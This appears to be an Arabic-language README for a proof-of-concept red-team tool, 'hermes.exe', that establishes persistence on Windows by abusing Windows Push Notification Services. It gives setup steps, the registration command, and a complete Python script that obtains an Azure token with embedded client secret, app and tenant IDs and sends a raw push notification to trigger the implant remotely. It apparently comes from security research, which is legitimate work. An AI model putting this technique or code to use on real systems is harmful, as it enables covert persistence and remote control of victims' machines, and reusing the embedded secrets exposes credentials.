
إثبات مفهوم (PoC) لتحقيق الاستمرارية عبر إشعارات الدفع على نظام ويندوز
أداة إثبات مفهوم (PoC) لتحقيق الاستمرارية عبر إشعارات الدفع على ويندوز
لمزيد من التفاصيل التقنية والخلفية، اقرأ مقالنا هنا: https://www.persistent-security.net/post/beacon-on-demand-abusing-push-notifications-for-persistence
قبل أي شيء آخر، تحتاج إلى إعداد Azure. بعد ذلك، تحتاج إلى تشغيل الملف التنفيذي مرة واحدة لتسجيل نفسه لتلقي إشعارات الدفع. كل ما عليك فعله هو تمرير معرّف الكائن (object id) لتطبيق Azure الخاص بك كوسيط، وإذا سارت الأمور على ما يرام، فسيقوم بطباعة URI القناة كما وردت من مايكروسوفت. في هذه المرحلة، يمكنك إغلاق التطبيق.
hermes.exe <object_id>
إذا لم يتم تثبيت SDK 1.3، سيحاول الملف الثنائي نشره مع الإضافات الضرورية.
عندما تحصل على URI القناة، يمكنك محاولة تشغيل ملفك التنفيذي عن بُعد من جهاز آخر عن طريق استدعاء واجهة برمجة تطبيقات الإشعارات مع بيانات مستأجرك (tenant)، وشاهد السحر يحدث:
import requests
secret = "4r8Q~XW6U_PmJYg6Eu_jV22DWlsnhyJBIrdpV"
app_id = "CA899E11-71CF-4DB3-962C-0EA65151C132" #not the object id but the Azure app id
tenant_id = "E83F2382-F012-475A-9A4C-30545F429FB7"
channel_uri = "https://wns2-am3p.notify.windows.com/?token=AwYAAAAiYI4p...."
def send_notification(secret, app_id, tenant_id, channel_uri, notification_data):
# Acquire token
url = f"https://login.microsoftonline.com/{tenant_id}/oauth2/v2.0/token"
headers = {'Content-Type': 'application/x-www-form-urlencoded'}
data = {
'grant_type': 'client_credentials',
'client_id': app_id,
'client_secret': secret,
'scope': 'https://wns.windows.com/.default'
}
response = requests.post(url, headers=headers, data=data)
response_json = response.json()
token = response_json['access_token']
# Send notification
headers = {
'Content-Type': 'application/octet-stream',
'Authorization': f'Bearer {token}',
'X-WNS-Type': 'wns/raw',
}
response = requests.post(channel_uri, headers=headers, data=notification_data)
return response.status_code, response.text
send_notification(secret, app_id, tenant_id, channel_uri, "This is a notification")